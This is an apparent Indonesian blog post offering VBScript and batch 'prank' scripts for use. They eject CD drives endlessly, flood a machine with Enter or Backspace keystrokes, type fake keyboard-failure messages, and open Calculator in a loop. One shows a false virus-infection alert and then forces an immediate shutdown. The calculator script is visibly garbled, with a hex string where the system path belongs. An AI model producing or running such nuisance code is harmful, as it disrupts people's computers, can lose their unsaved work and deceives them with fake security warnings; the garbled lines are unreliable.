Berikut beberapa trik yang sanggup dilakukan dengan Notepad :
1. Mengeject CD-Drive Terus Menerus
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
2. Tombol Enter Terus Menerus
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “ (enter)”
loop
3. Pesan Lambat Notepad “Hello, hhow are you? I am bad thanks!”
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m b”
WScript.Sleep 500
WshShell.SendKeys “ad”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
4. Tombol Backspace Terus Menerus
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
5. Iseng Dengan Keyboard
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Sedang Rusak! Harap Diperbaiki……”
semua yang diatas save dengan akhiran .vbs (contoh : iseng.vbs)
6. Membuka Calculator Terus Menerus
@ECHO off
:top
START {8b1dcbf9295d470b6fc6f0c964cd89e83e63c2758fab5815b9c3db84b919353d}SystemRoot{8b1dcbf9295d470b6fc6f0c964cd89e83e63c2758fab5815b9c3db84b919353d}\system32\cacl.exe
GOTO top
7. Shutdown Computer
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
untuk nomor 6 & 7 save dengan akhiran .bat (contoh : iseng.bat)
Hanya sekedar tahu, gunakan jikalau perlu,..
Related Post
-Virus berbahaya dengan notepad , Fungsi RUN di windows , Script virus yuyun ,
– Fungsikan file BAT
